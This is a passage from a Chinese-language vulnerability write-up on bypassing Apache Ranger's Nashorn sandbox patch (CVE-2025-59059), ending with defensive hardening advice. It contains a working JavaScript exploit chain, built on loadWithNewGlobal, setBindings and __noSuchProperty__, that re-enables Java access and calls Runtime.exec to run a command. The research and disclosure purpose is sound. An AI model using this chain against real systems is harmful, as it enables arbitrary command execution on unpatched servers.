String js = "loadWithNewGlobal({'script':'print(arguments[0]);print(arguments[0](\"engine\"))','name':'ctest'},this.__noSuchProperty__)";
evalImpl(js);
//output
function __noSuchProperty__(){ [native code] }
null这个思路一时半会也没走通,虽然还有一些疑点,不过笔者从这个思路得到了另外一种启发,下面进一步讲述。
(成功)思路四:覆盖this.context.engineScope属性
前面说过,防护代码定义engine属性,实质上就是在SimpleScriptContext的engineScope增加了一个属性,而SimpleScriptContext搜索的优先级更高。
通过this.context可以获取到SimpleScriptContext实例,那能否直接替换engineScope呢?
这个思路其实在一开始就有了,并且SimpleScriptContext本身也提供了替换engineScope方法:但问题在于:
替换的
engineScope不允许为空engineScope本身要求是Bingdings的实现类,然而笔者的环境中还有--no-java以及ClassFilter限制,无法自行创建类实例。
因此这个思路从一开始就被搁置了,直到笔者看到了loadWithNewGlobal方法,发现两者实际是可以配合使用的!
loadWithNewGlobal方法可以创建一个新的执行环境上下文,也就是newGlobal对象,尽管这个新的上下文中并没有__noSuchProperty__方法,但也没有防护代码中定义的engine属性。
这里还涉及一个trick,在访问this对象的时候,Nashorn到底给我们返回了一个什么对象?是直接返回Global实例吗?
答案是jdk.nashorn.api.scripting.ScriptObjectMirror实例,这里面涉及Nashorn解析js的过程,具体不展开。重要的是,ScriptObjectMirror实现了Bindings接口。
如下代码可以看出,上下文中获取到的this对象,实际上就是engineScope:
String js = "print(this==this.context.getBindings(100))";
evalImpl(js);
// output
true结合这个trick、loadWithNewGlobal方法、以及覆盖this.context.engineScope的思路,就可以得到一个绕过方法:
通过
loadWithNewGlobal创建新的上下文newGlobal,在js代码中通过this获取到对应的ScriptObjectMirror,并返回回到oldGLobal中,在通过
this.context.setBindings方法覆盖engineScope由于新的
engineScope没有engine属性,因此就可以通过this.__noSuchProperty__获取到NashornEngine实例,重新利用前面的exp
String js = "var newBindings=loadWithNewGlobal({'script':'this','name':'ctest'});this.context.setBindings(newBindings,100);var newEngine = this.__noSuchProperty__('engine');var e=newEngine.getFactory().getScriptEngine('-Dnashorn.args=--no-java=False');e.eval('java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")')";至此,完成ranger补丁的绕过,ranger为该漏洞分配了CVE-2025-59059。
pass:在覆盖了engineScope之后,依然需要主动使用this.__noSuchProperty__方法来获取engine实例,因为直接通过this.engine访问,实际上走的是jdk.nashorn.internal.runtime.ScriptObject#findProperty方法,会先从Global.$nasgenmap$寻找,而上述代码只是覆盖了engineScope,Global.$nasgenmap$依然保留着防护代码自定义的engine。
四、总结
基于目前的分析结果,Nashorn的安全防护可以分为四点:
禁止从js中访问Java类:两种方案,
--no-java安全选项;ClassFIlter。禁止在js中进行Java反射:两种方案,
ClassFIlter;SecurityManager。禁止访问执行环境中的敏感属性及方法:删除
engine、context、__noSuchProperty__、loadWithNewGlobal、exit、quit等。js代码实现;或同时使用ClassFilter/--no-java+SecurityManager。
需要特别说明的是,以上三个防护点缺一不可,此外删除上下文中敏感属性及方法时,也要注意是否有遗留。
最后,也是很容易遗忘的一点是:
不要往engine中放入高风险的对象(例如提供命令执行、文件读写能力的类),这种场景会让上面提到的防护措施大部分都失效(除了SecurityManager),按照笔者的经验,实际环境开启SecurityManager的并不多,开启了就是另外一场对抗了:)